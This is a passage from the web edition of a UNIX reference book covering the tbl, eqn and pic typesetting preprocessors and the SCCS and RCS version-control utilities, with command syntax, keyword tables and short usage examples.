\$_ or \$= | Extend a single or double horizontal line the full width of the column.
\_ | Extend a single horizontal line the width of the column's contents.
\Rx | Print x's as wide as the column's contents.
...[tab]T{ | Start text block as a table entry. Must end a line. Necessary when a line of text is input over more than one line, or will span more than one line of output.
...T}[tab] | End text block. Must begin a line.

16.1.6 A Tbl Example

Input:

.TS
center box linesize(6) tab(@);
cb s s.
Horizontal Local Motions
_
.T&
ci | ci s
ci | ci s
ci | ci | ci
c | l s.
Function@Effect in
\^@_
\^@troff@nroff
_
\eh'n'@Move distance N
\e(space)@Unpaddable space-size space
\e0@Digit-size space
_
.T&
c | l | l.
\e|@1/6 em space@ignored
\e^@1/12 em space@ignored
.TE

Result:

Horizontal Local Motions
Function | Effect in
 | troff | nroff
\h'n' | Move distance N
\(space) | Unpaddable space-size space
\0 | Digit-size space
\| | 1/6 em space | ignored
\^ | 1/12 em space | ignored

Previous: 15.2 Predefined Strings | UNIX in a Nutshell: System V Edition | Next: 16.2 Eqn
15.2 Predefined Strings | Book Index | 16.2 Eqn
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 16] 16.2 Eqn

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 16.1 Tbl Chapter 16
Preprocessors 		Next: 16.3 Pic

16.2 Eqn

Eqn is a preprocessor designed to facilitate the typesetting of mathematical equations. Use neqn with nroff. Eqn has the following command-line syntax:

/usr/ucb/eqn [options] [files]

Options
-dxy

Use x and y as start and stop delimiters; same as specifying the eqn directive delimxy.

-fn

Change to font n; same as the gfont directive.

-pn

Reduce size of superscripts and subscripts by n points. If -p is not specified, the default reduction is 3 points.

-sn

Reduce the point size by n points; same as the gsize directive.

-Tdev

Format output to device dev. The default value comes from the TYPESETTER environment variable. Not available with neqn.

16.2.1 Eqn Macros

.EQ

Start typesetting mathematics.

.EN

End typesetting mathematics.

Use the checkeq command to check for unmatched macro pairs.

16.2.2 Mathematical Characters

The character sequences below are recognized and translated as shown:

Character | Translation | Character | Translation
>= |  | approx | ~
<= |  | nothing |
== |  | cdot | .
!= |  | times | ×
+- | ± | del | [nabla]
-> | -> | grad | [nabla]
<- | <- | ... | ...
<< | << | ,..., | ,...,
>> | >> | sum | [sum]
inf | [infinity] | int | [integral]
partial | d | prod | [product]
half | ½ | union | U
prime | ' | inter | [cap]

16.2.3 Mathematical Text

Digits, parentheses, brackets, punctuation marks, and the following mathematical words are printed out in Roman font:

sin     cos     tan     arc
sinh    cosh    tanh
and     if      for     det
max     min     lim
log     ln      exp
Re      Im

16.2.4 Greek Characters

Greek letters can be printed in uppercase or lowercase. To obtain Greek letters, simply spell them out. Some uppercase Greek letters are not supported because they can be specified by an Arabic equivalent (e.g, A for alpha, B for beta).

Character | Translation | Character | Translation
alpha | [alpha] | tau | [tau]
beta | [beta] | upsilon | [upsilon]
gamma | [gamma] | phi | [phi]
delta | [delta] | chi | [chi]
epsilon | [epsilon] | psi | [psi]
zeta | [zeta] | omega | [omega]
eta | [eta] | GAMMA | [Gamma]
theta | [theta] | DELTA | [Delta]
iota | [iota] | THETA | [Theta]
kappa | [kappa] | LAMBDA | [Lambda]
lambda | [lambda] | XI | [Xi]
mu | [mu] | PI | [Pi]
nu | [nu] | SIGMA | [Sigma]
xi | [xi] | UPSILON | [Upsilon]
omicron | [omicron] | PHI | [Phi]
pi | [pi] | PSI | [Psi]
rho | [rho] | OMEGA | [Omega]
sigma | [sigma] |  |

16.2.5 Diacritical Marks

Several keywords are available to mark the tops of characters. Eqn centers a mark at the correct height. bar and under will span the necessary length.

Character | Translation
x dot | x·
x dotdot | x¨
x hat |
x tilde |
x vec | x->
x dyad | x<->
x bar | x¯
x under |

16.2.6 Keywords Recognized by Eqn

In addition to character names and diacritical marks, eqn recognizes the following keywords:

above

Separate the pieces of a pile or matrix column.

back n

Move backwards horizontally n 1/100's of an m.

bold

Change to bold font.

ccol

Center align a column of a matrix.

cpile

Make a centered pile (same as pile).

define

Create a name for a frequently used string.

delim xy

Define two characters to mark the left and right ends of an eqn equation to be printed in line. Use delim off to turn of delimiters.

down n

Move down n 1/100's of an m.

fat

Widen the current font by overstriking it.

font x

Change to font x, where x is the one-character name or the number of a font.

from

Used in summations, integrals, and similar constructions to signify the lower limit.

fwd n

Move forward horizontally n 1/100's of an em.

gfont x

Set a global font x for all equations.

gsize n

Set a global size for all equations.

italic

Change to italic font.

lcol

Left justify a column of a matrix.

left

Create big brackets, big braces, big bars, etc.

lineup

Line up marks in equations on different lines.

lpile

Left justify the elements of a pile.

mark

Remember the horizontal position in an equation. Used with lineup.

matrix

Create a matrix.

ndefine

Create a definition which takes effect only when neqn is running.

over

Make a fraction.

pile

Make a vertical pile with elements centered above one another.

rcol

Right adjust a column of a matrix.

right

Create big brackets, big braces, big bars, etc.

roman

Change to roman font.

rpile

Right justify the elements of a pile.

size n

Change the size of the font to n.

sqrt

Draw a square root sign.

sub

Start a subscript.

sup

Start a superscript.

tdefine

Make a definition which will apply only for eqn.

to

Used in summations, integrals, and similar constructions to signify the upper limit.

up n

Move up n 1/100's of an em.

~

Force extra space into the output.

^

Force a space one half the size of the space forced by ~ .

{ }

Force eqn to treat an element as a unit.

'...'

A string within quotes is not subject to alterations by eqn.

16.2.7 Precedence

If you don't use braces, eqn will do operations in the order shown in this list, reading from left to right.

dyad | vec | under | bar
tilde | hat | dot | dotdot
fwd | back | down | up
fat | roman | italic | bold
size | sub | sup | sqrt
over | from | to |

These operations group to the left:

over   sqrt   left   right

All others group to the right.

16.2.8 Eqn Examples

Input:

.EQ
delim %%
.EN
%sum from i=0 to inf c sup i~=~lim from {m -> inf}
sum from i=0 to m c sup i%
.EQ
delim off
.EN

Result: Figure 16.0

Input:

.EQ
delim %%
.EN
%x ~=~ left [ { -b ~+-~ sqrt {b sup 2 - ~4ac} }
over 2a right ]%
.EQ
delim off
.EN

Result: Figure 16.0

Previous: 16.1 Tbl | UNIX in a Nutshell: System V Edition | Next: 16.3 Pic
16.1 Tbl | Book Index | 16.3 Pic
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 16] 16.3 Pic

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 16.2 Eqn Chapter 16
Preprocessors 		Next: 17. The SCCS Utility

16.3 Pic

Pic is a graphics language program that facilitates the drawing of simple flowcharts and diagrams. Pic offers dozens of ways to draw a picture, not only because of the many abbreviations it allows, but because pic tries to combine the language of geometry with English. For example, you can specify a line by its direction, magnitude, and starting point, yet you can often achieve the same effect by simply stating, "from there to there."

Pic has the following command-line syntax:

/usr/ucb/pic [files]

Full descriptions of primitive objects in pic can be ended by starting another line, or by the semicolon character (;). A single primitive description can be continued on the next line, however, by ending the first with a backslash character (\). Comments may be placed on lines beginning with the pound sign (#).

16.3.1 Pic Macros

.PS [h [w]] | Start pic description. h and w, if specified, are the desired height and width of the picture; the full picture will be made to expand or contract to fill this space.
.PS < file | Read contents of file in place of current line.
.PE | End pic description.
.PF | End pic description and return to vertical position before matching PS.
.xx | Troff request (or macro) xx.

16.3.2 Declarations

At the beginning of a pic description, you may declare a new scale, and declare any number of variables. Pic assumes you want a 1-to-1 scale, where units are inches by default. You can declare a different scale, say 1 = one-nth of an inch, by declaring:

scale = n

Pic takes variable substitutions for numbers used in the description. Instead of:

line right n

you may use a lowercase character as a variable, for example a, by declaring at the top of the description:

a = n

You may then write:

line right a

16.3.3 Primitives

Pic recognizes several basic graphical objects, or primitives. These primitives are specified by the following keywords:

arc      circle    move
arrow    ellipse   spline
box      line      "text"

16.3.3.1 Syntax

Primitives may be followed by relevant options. Options are discussed later in this section.

arc [cw] [options] ["text"]

A fraction of a circle (default is 1/4 of a circle). The cw option specifies a clockwise arc; default is counter-clockwise.

arrow [options] ["text"]

Draw an arrow. Essentially the same as line ->.

box [options] ["text"]

Draw a box.

circle [options] ["text"]

Draw a circle.

ellipse [options] ["text"]

Draw an ellipse.

line [options] ["text"]

Draw a line.

move [options] ["text"]

A move of position in the drawing. Essentially, an invisible line.

spline [options] ["text"]

A line, with the feature that a then option results in a gradual (sloped) change in direction.

"text"

Text centered at current point.

16.3.4 Options

The options below are grouped by function. Note that at, with, and from specify points. Points may be expressed as Cartesian coordinates or with respect to previous objects.

right [n]

left [n]

up [n]

down [n]

The direction of the primitive; default is the direction in which the previous description had been heading. Create diagonal motion by using two directions on the option line. Each direction can be followed by a specified length n.

rad n

diam n

Create the primitive using radius or diameter n.

ht n

wid n

Create the primitive using height or width n. For an arrow, line, or spline, height and width refer to arrowhead size.

same

Create the primitive using the same dimensions specified for the most recent matching primitive.

at point

Center the primitive at point.

with .position at point

Designate the position of the primitive to be at point.

from point1 to point2

Draw the primitive from point1 to point2.

->

Direct the arrowhead forward.

<-

Direct the arrowhead backward.

<->

Direct the arrowhead both ways.

chop n m

Chop off n from beginning of primitive, and m from end. With only one argument, the same value will be chopped from both ends.

dotted

dashed

invis

Draw the primitive using lines that are dotted, dashed, or invisible. (An invisible object still occupies space in the output.) Default is solid line.

then ...

Continue primitive in a new direction. Relevant only to lines, splines, moves, and arrows. Can be placed before or after any text.

16.3.5 Text

Text must be placed within quotes. To break the line, break into two (or more) sets of quotes. Text always appears centered within the object, unless given one of the following arguments:

ljust

Text appears flush left, vertically centered.

rjust

Text appears flush right, vertically centered.

above

Text appears above the center.

below

Text appears below the center.

16.3.6 Object Blocks

Several primitives can be combined to make a complex object (for example, an octagon). This complex object can be treated as a single object by declaring it as a block:

Object: [
     description
      .
      .
      .
]

Brackets are used as delimiters. Note that the object is declared as a proper noun, hence should begin with a capital letter.

16.3.7 Macros

The same sequence of commands can be repeated by using macros. The syntax is:

define sequence %
      description
          .
          .
          .
      %

Here we used the percent sign (%) as the delimiter, but you can use any character that isn't in the description.

Macros can take variables, expressed in the definition as $1 through $9. Invoke the macro with the syntax:

sequence(value1,value2,...)

16.3.8 Positioning

In a pic description, the first action begins at (0,0) unless otherwise specified with coordinates. Thus, as objects are placed above and left of the first object, the point (0,0) moves down and right on the drawing.

All points are ultimately translated by the formatter into x- and y-coordinates. You may therefore refer to a specific point in the picture by incrementing or decrementing the coordinates. For example:

2nd ellipse - (3,1)

You may refer to the x- and y-coordinates of an object by placing .x or .y at the end. For example:

last box.x

refers to the x-coordinate of the most recent box drawn. You can refer to some of the object's physical attributes in a similar way:

.x

x-coordinate of object's center.

.y

y-coordinate of object's center.

.ht

Height of object.

.wid

Width of object.

.rad

Radius of object.

Unless otherwise positioned, each object begins at the point where the last object left off. However, if a command (or sequence of commands) is set off by curly braces ({ }), pic then returns to the position before the first brace.

16.3.8.1 Positioning Between Objects

To refer to a previous object, use proper names. This can be done two ways:

  1. By referring to it by order. For example:

    1st box
3rd box
last box
2nd last box

  2. By declaring it with a name, in initial caps, on its declaration line. For example:

    Line1: line 1.5 right from last box.sw

To refer to a point between two objects, or between two points on the same object, you may write:

fraction of the way between first.position and second.position

or (abbreviated):

fraction<first.position,second.position>

16.3.8.2 Corners

When you refer to a previous object, pic assumes you mean the object's center unless you specify a corner. To specify a corner, use either of these forms:

.corner of object
object.corner

For example:

.sw of last box
last box.sw

Valid corners can be specified as any of the following:

n | North
s | South
e | East
w | West
ne | Northeast
nw | Northwest
se | Southeast
sw | Southwest
t | Top (same as n)
b | Bottom (same as s)
r | Right (same as e)
l | Left (same as w)
start | Point where drawing of object began
end | Point where drawing of object ended

You may also refer to the following parts of an object:

upper right        lower right
upper left         lower left

16.3.9 Arithmetic Operators

Pic recognizes the operators below:

+ | Addition.
- | Subtraction.
* | Multiplication.
/ | Division
% | Modulus (remainder after division).

16.3.10 Default Values

The default dimensions of objects are controlled by various system variables. You can change these defaults by typing a description line of the form:

variable = value

Variable | Default | Variable | Default
arcrad | 0.25 | ellipsewid | 0.75
arrowwid | 0.05 | linewid | 0.5
arrowht | 0.1 | lineht | 0.5
boxwid | 0.75 | movewid | 0.5
boxht | 0.5 | moveht | 0.5
circlerad | 0.25 | scale | 1
dashwid | 0.05 | textht | 0
ellipseht | 0.5 | textwid | 0

16.3.11 A Pic Example

Input:

.PS
define smile %
a = $1
circle radius a at 0,0
arc cw radius a*.75 from a*.5,-a*.25 to -a*.5,-a*.25
"\(bu" at a*.33,a*.25
"\(bu" at a*-.33,a*.25
%
smile(.5)
.PE

Result: Figure 16.0

Previous: 16.2 Eqn | UNIX in a Nutshell: System V Edition | Next: 17. The SCCS Utility
16.2 Eqn | Book Index | 17. The SCCS Utility
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 17] The SCCS Utility

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 16.3 Pic Chapter 17 Next: 17.2 Basic Operation

17. The SCCS Utility

Contents:
Overview of Commands
Basic Operation
Identification Keywords
Data Keywords
Alphabetical Summary of SCCS Commands
sccs and Pseudo-commands

This section presents the following topics:

  • Overview of commands

  • Basic operation

  • Identification keywords

  • Data keywords

  • Alphabetical summary of commands

  • sccs and pseudo-commands

Note: SCCS users who are more familiar with RCS may benefit from the "Conversion Guide for SCCS Users" in Section 18. This lists SCCS commands and their RCS equivalents.

The Source Code Control System (SCCS) lets you keep track of each revision of a document, avoiding the confusion that often arises from having several versions of one file on line. SCCS is particularly useful when programs are enhanced but the original version is still needed.

All changes to a file are stored in a file named s.file, which is called an SCCS file. Each time a file is "entered" into SCCS, SCCS notes which lines have been changed or deleted since the most recent version. From that information, SCCS can regenerate the file on demand. Each set of changes depends on all previous sets of changes.

Each set of changes is called a delta and is assigned an SCCS identification string (sid). The sid consists of either two components, release and level numbers (in the form a.b), or of four components: the release, level, branch, and sequence numbers (in the form a.b.c.d). The branches and sequences are for situations when two on-running versions of the same file are recorded in SCCS. For example, delta 3.2.1.1 refers to release 3, level 2, branch 1, sequence 1.

17.1 Overview of Commands

SCCS commands fall into several categories:

17.1.1 Basic Set Up and Editing

admin

Create new SCCS files and change their parameters.

get

Retrieve versions of SCCS files.

delta

Create a new version of an SCCS file (i.e., append a new delta).

unget

Cancel a get operation; don't create a new delta.

17.1.2 Fixing Deltas

cdc

Change the comment associated with a delta.

comb

Combine consecutive deltas into a single delta.

rmdel

Remove an accidental delta from an SCCS file.

17.1.3 Information

help

Print a command synopsis or clarify diagnostic messages.

prs

Print portions of SCCS files in a specified format.

sact

Show editing activity on SCCS files.

what

Search for all occurrences of the pattern get substitutes for %Z%, and print out the following text.

17.1.4 Comparing Files

sccsdiff

Show the differences between any two SCCS files.

val

Validate an SCCS file.

Previous: 16.3 Pic | UNIX in a Nutshell: System V Edition | Next: 17.2 Basic Operation
16.3 Pic | Book Index | 17.2 Basic Operation
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 17] 17.2 Basic Operation

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 17.1 Overview of Commands Chapter 17
The SCCS Utility 		Next: 17.3 Identification Keywords

17.2 Basic Operation

This subsection outlines the steps to follow when using SCCS:

  • Creating an SCCS file

  • Retrieving a file

  • Creating new releases and branches

  • Recording changes

17.2.1 Creating an SCCS File

The admin command with the -i option creates and initializes SCCS files. For example:

admin -ich01 s.ch01

creates a new SCCS file and initializes it with the contents of ch01, which will become delta 1.1. The message, "No id keywords (cm7)" appears if you do not specify any keywords. In general, "id keywords" refer to variables in the files that are replaced with appropriate values by get, identifying the date and time of creation, the version retrieved, etc. A listing of identification keywords occurs later in this section.

Once the s.ch01 file is created, the original file ch01 can be removed, since it can be easily regenerated with the get command.

17.2.2 Retrieving a File

The get command can retrieve any version of a file from SCCS. Using the example above, you can retrieve ch01 by entering:

get -e s.ch01

and the messages:

1.1
new delta 1.2
272 lines

may appear. This indicates that you are "getting" delta 1.1, and the resulting file has 272 lines of text. When the file is reentered into the SCCS file s.ch01 with the delta command, its changes are delta 1.2.

The -e option indicates to SCCS that you intend to make more changes to the file and then reenter it into SCCS. Without this option, you will receive the file with read-only permissions. The -e option, besides releasing the file with read-write permissions, also creates a file p.ch01, which records information that will be used by SCCS when the file is returned.

17.2.3 Creating New Releases and Branches

The -r option to get tells SCCS what release and level number you want, but if no level is specified it defaults to the highest level available. With the command:

get -r3.2 ch01

delta 3.2 will be the release. However, the command:

get -r3 ch01

returns the highest-numbered level in release 3, for example 3.8. With the -r option omitted, get defaults to the highest release, highest level - in other words, the latest version.

When major changes are in store for a file, you may want to begin a new release of the file. You can do that by "getting" the file with the next highest release number. For example, if the latest release of a file is 3.2, and you want to start release 4, enter:

get -e -r4 ch01

You will receive the message:

3.2
new delta 4.1
53 lines

If you want to make a change to an older version of the same file, you can enter:

get -e -r2.2 ch01

and receive the message:

2.2
new delta 2.2.1.1
121 lines

You have now created a new branch from the trunk, stemming from version 2.2. Changes in this delta will not affect those in the trunk deltas, i.e., 2.3, 3.1, etc.

17.2.4 Recording Changes

Once changes have been made to the SCCS file, return it to SCCS with the command:

delta s.ch01

You are prompted for comments on the changes. The delta command then does its own get and uses diff to compare the new version of the file with the most recent version. It then prints messages giving the new release number and the number of lines that were inserted, deleted, and unchanged.

Previous: 17.1 Overview of Commands | UNIX in a Nutshell: System V Edition | Next: 17.3 Identification Keywords
17.1 Overview of Commands | Book Index | 17.3 Identification Keywords
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 17] 17.3 Identification Keywords

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 17.2 Basic Operation Chapter 17
The SCCS Utility 		Next: 17.4 Data Keywords

17.3 Identification Keywords

The keywords below may be used in an SCCS file. A get command will expand these keywords to the value described.

%A% | Shorthand for providing what strings for program files; %A% = %Z%%Y% %M% %I%%Z%
%B% | Branch number.
%C% | Current line number, intended for identifying where error occurred.
%D% | Current date (YY/MM/DD).
%E% | Date newest applied delta was created (YY/MM/DD).
%F% | SCCS file name.
%G% | Date newest applied delta was created (MM/DD/YY).
%H% | Current date (MM/DD/YY).
%I% | sid of the retrieved text (%R%.%L%.%B%.%S%).
%L% | Level number.
%M% | Module name (filename without .s prefix).
%P% | Fully qualified SCCS file name.
%Q% | Value of string, as defined by admin -fq string.
%R% | Release number.
%S% | Sequence number.
%T% | Current time (HH:MM:SS).
%U% | Time newest applied delta was created (HH:MM:SS).
%W% | Another shorthand like %A%; %W% = %Z%%M% tab %I%
%Y% | Module type, as defined by admin -ft type.
%Z% | String recognized by what; that is, @(#).

Previous: 17.2 Basic Operation | UNIX in a Nutshell: System V Edition | Next: 17.4 Data Keywords
17.2 Basic Operation | Book Index | 17.4 Data Keywords
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 17] 17.4 Data Keywords

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 17.3 Identification Keywords Chapter 17
The SCCS Utility 		Next: 17.5 Alphabetical Summary of SCCS Commands

17.4 Data Keywords

Data keywords specify which parts of an SCCS file are to be retrieved and output using the -d option of the prs command.

:A: | Form of what string.
:B: | Branch number.
:BD: | Body.
:BF: | Branch flag.
:C: | Comments for delta.
:CB: | Ceiling boundary.
:D: | Date delta created (:Dy:/:Dm:/:Dd:).
:Dd: | Day delta created.
:Dg: | Deltas ignored (sequence number).
:DI: | Sequence number of deltas (:Dn:/:Dx:/:Dg:).
:DL: | Delta line statistics (:Li:/:Ld:/:Lu:).
:Dm: | Month delta created.
:Dn: | Deltas included (sequence number).
:DP: | Predecessor delta sequence number.
:Ds: | Default sid.
:DS: | Delta sequence number.
:Dt: | Delta information.
:DT: | Delta type.
:Dx: | Deltas excluded (sequence number).
:Dy: | Year delta created.
:F: | SCCS file name.
:FB: | Floor boundary.
:FD: | File descriptive text.
:FL: | Flag list.
:GB: | Gotten body.
:I: | SCCS ID string (sid) (:R:.:L:.:B:.:S:).
:J: | Joint edit flag.
:KF: | Keyword error/warning flag.
:KV: | Keyword validation string.
:L: | Level number.
:Ld: | Lines deleted by delta.
:Li: | Lines inserted by delta.
:LK: | Locked releases.
:Lu: | Lines unchanged by delta.
:M: | Module name.
:MF: | Modification validation flag.
:MP: | Modification validation program name.
:MR: | Modification numbers for delta.
:ND: | Null delta flag.
:P: | Username of programmer who created delta.
:PN: | SCCS file pathname.
:Q: | User-defined keyword.
:R: | Release number.
:S: | Sequence number.
:T: | Time delta created (:Th:::Tm:::Ts:.).
:Th: | Hour delta created.
:Tm: | Minutes delta created.
:Ts: | Seconds delta created.
:UN: | User names.
:W: | Form of what string.
:Y: | Module type flag.
:Z: | what string delimiter.

Previous: 17.3 Identification Keywords | UNIX in a Nutshell: System V Edition | Next: 17.5 Alphabetical Summary of SCCS Commands
17.3 Identification Keywords | Book Index | 17.5 Alphabetical Summary of SCCS Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 17] 17.5 Alphabetical Summary of SCCS Commands

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 17.4 Data Keywords Chapter 17
The SCCS Utility 		Next: 17.6 sccs and Pseudo-commands

17.5 Alphabetical Summary of SCCS Commands

File arguments to SCCS commands can be either filenames or directory names. Naming a directory will cause all the files in that directory to be processed, with nonapplicable and nonreadable files ignored. If in place of a file argument a dash (-) is entered, the command will read from standard input for the names of files to be processed, one on each line.

  • admin
  • cdc
  • comb
  • delta
  • get
  • help
  • prs
  • rmdel
  • sact
  • sccsdiff
  • unget
  • val
  • what

Previous: 17.4 Data Keywords | UNIX in a Nutshell: System V Edition | Next: 17.6 sccs and Pseudo-commands
17.4 Data Keywords | Book Index | 17.6 sccs and Pseudo-commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 17] 17.6 sccs and Pseudo-commands

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 17.5 Alphabetical Summary of SCCS Commands Chapter 17
The SCCS Utility 		Next: 18. The RCS Utility

17.6 sccs and Pseudo-commands

The compatibility packages include sccs, a front end to the SCCS utility. This command provides a user-friendly interface to SCCS and has the following command-line syntax:

/usr/ucb/sccs [options] command [SCCS_flags] [files]

In addition to providing all of the regular SCCS commands, sccs offers pseudo- commands. These are easy-to-use, prebuilt combinations of the regular SCCS commands. options apply only to the sccs interface. command is the SCCS command or pseudo-command to run, and SCCS_flags are specific options passed to the SCCS command being run.

sccs makes it easier to specify files because it automatically prepends SCCS/s. to any filename arguments. For example:

sccs get -e file.c

would be interpreted as:

get -e SCCS/s.file.c

17.6.1 Options

-dprepath

Locate files in prepath rather than in current directory. For example:

sccs -d/home get file.c

is interpreted as:

get /home/SCCS/s.file.c

-pendpath

Access files from directory endpath instead of SCCS. For example:

sccs -pVERSIONS get file.c

is interpreted as:

get VERSIONS/s.file.c

-r

Invoke sccs as the real user instead of as the effective user.

17.6.2 Pseudo-commands

Equivalent SCCS actions are indicated in parentheses.

check

Like info, but return nonzero exit codes instead of filenames.

clean

Remove from current directory any files that aren't being edited under SCCS (via get -e, for example).

create

Create SCCS files (admin -i followed by get).

deledit

Same as delta followed by get -e.

delget

Same as delta followed by get.

diffs

Compare file's current version and SCCS version (like sccsdiff).

edit

Get a file to edit (get -e).

enter

Like create but without the subsequent get (admin -i).

fix

Same as rmdel (must be followed by -r).

info

List files being edited (similar to sact).

print

Print information (like prs -e followed by get -p -m)

tell

Like info, but list one filename per line.

unedit

Same as unget.

Previous: 17.5 Alphabetical Summary of SCCS Commands | UNIX in a Nutshell: System V Edition | Next: 18. The RCS Utility
17.5 Alphabetical Summary of SCCS Commands | Book Index | 18. The RCS Utility
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 18] The RCS Utility

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 17.6 sccs and Pseudo-commands Chapter 18 Next: 18.2 Basic Operation

18. The RCS Utility

Contents:
Overview of Commands
Basic Operation
General RCS Specifications
Conversion Guide for SCCS Users
Alphabetical Summary of Commands

This section presents the following topics:

  • Overview of commands

  • Basic operation

  • General RCS specifications

  • Conversion guide for SCCS users

  • Alphabetical summary of commands

As with SCCS in the preceding section, the Revision Control System (RCS) is designed to keep track of multiple file revisions, thereby reducing the amount of storage space needed. With RCS you can automatically store and retrieve revisions, merge or compare revisions, keep a complete history (or log) of changes, and identify revisions using symbolic keywords. RCS is believed to be more efficient than SCCS. RCS is not part of standard SVR4 but can be obtained from the Free Software Foundation in Cambridge, Mass. This section describes Version 5.6, although we note important differences in versions 4 and 5.

18.1 Overview of Commands

The three most important RCS commands are:

ci

Check in revisions (put a file under RCS control).

co

Check out revisions.

rcs

Set up or change attributes of RCS files.

Two commands provide information about RCS files:

ident

Extract keyword values from an RCS file.

rlog

Display a summary (log) about the revisions in an RCS file.

You can compare RCS files with these commands:

merge

Incorporate changes from two files into a third file.

rcsdiff

Report differences between revisions.

rcsmerge

Incorporate changes from two RCS files into a third RCS file.

The following commands help with configuration management. However, they are considered optional, so they are not always installed.

rcsclean

Remove working files that have not been changed.

rcsfreeze

Label the files that make up a configuration.

Previous: 17.6 sccs and Pseudo-commands | UNIX in a Nutshell: System V Edition | Next: 18.2 Basic Operation
17.6 sccs and Pseudo-commands | Book Index | 18.2 Basic Operation
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 18] 18.2 Basic Operation

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 18.1 Overview of Commands Chapter 18
The RCS Utility 		Next: 18.3 General RCS Specifications

18.2 Basic Operation

Normally, you maintain RCS files in a subdirectory called RCS, so the first step in using RCS should be:

mkdir RCS

Next, you place an existing file (or files) under RCS control by running the check-in command:

ci file

This creates a file called file,v in directory RCS. file,v is called an RCS file, and it will store all future revisions of file. When you run ci on a file for the first time, you are prompted to describe the contents. ci then deposits file into the RCS file as revision 1.1.

To edit a new revision, check out a copy:

co -l file

This causes RCS to extract a copy of file from the RCS file. You must lock the file with -l to make it writable by you. This copy is called a working file. When you're done editing, you can record the changes by checking the working file back in again:

ci file

This time, you are prompted to enter a log of the changes made, and the file is deposited as revision 1.2. Note that a check in normally removes the working file. To retrieve a read-only copy, do a check out without a lock:

co file

This is useful when you need to keep a copy on hand for compiling or searching. As a shortcut to the previous ci/co, you could type:

ci -u file

This checks in the file but immediately checks out a read-only copy. To compare changes between a working file and its latest revision, you can type:

rcsdiff file

Another useful command is rlog, which shows a summary of log messages. System administrators can use the rcs command to set up default behavior of RCS.

Previous: 18.1 Overview of Commands | UNIX in a Nutshell: System V Edition | Next: 18.3 General RCS Specifications
18.1 Overview of Commands | Book Index | 18.3 General RCS Specifications
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 18] 18.3 General RCS Specifications

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 18.2 Basic Operation Chapter 18
The RCS Utility 		Next: 18.4 Conversion Guide for SCCS Users

18.3 General RCS Specifications

This subsection discusses:

  • Keyword substitution

  • Revision numbering

  • Specifying the date

  • Specifying states

  • Standard options and environment variables

18.3.1 Keyword Substitution

RCS lets you place keyword variables in your working files. These variables are later expanded into revision notes. You can then use the notes either as embedded comments in the input file, or as text strings that appear when the output is printed. To create revision notes via keyword substitution, follow this procedure:

  1. In your working file, type any of the keywords listed below.

  2. Check the file in.

  3. Check the file out again. Upon checkout, the co command expands each keyword to include its value. That is, co replaces instances of:

    $keyword$

    with:

    $keyword:value$.

  4. Subsequent check in and check out of a file will update any existing keyword values. Unless otherwise noted below, existing values are replaced by new values.

Note: In RCS Version 5, many commands have a -k option that provides more flexibility during keyword substitution.

18.3.2 Keywords

$Author$

Username of person who checked in revision.

$Date$

Date and time of check in.

$Header$

A title that includes RCS file's full pathname, revision number, date, author, state, and (if locked) the person who locked the file.

$Id$

Same as $Header$, but exclude the full pathname of the RCS file.

$Locker$

Username of person who locked the revision. If the file isn't locked, this value is empty.

$Log$

The message that was typed during check in to describe the file, preceded by the RCS filename, revision number, author, and date. Log messages accumulate rather than being overwritten.

$RCSfile$

The RCS filename, without its pathname.

$Revision$

The assigned revision number.

$Source$

The RCS filename, including its pathname.

$State$

The state assigned by the -s option of ci or rcs.

18.3.3 Example Values

Let's assume that the file /projects/new/chapter3 has been checked in and out by a user named daniel. Here's what keyword substitution would produce for each keyword, for the second revision of the file:

$Author: daniel $
$Date: 92/03/18 17:51:36 $
$Header: /projects/new/chapter3,v 1.2 92/03/18 17:51:36 daniel \
    Exp Locker: daniel $
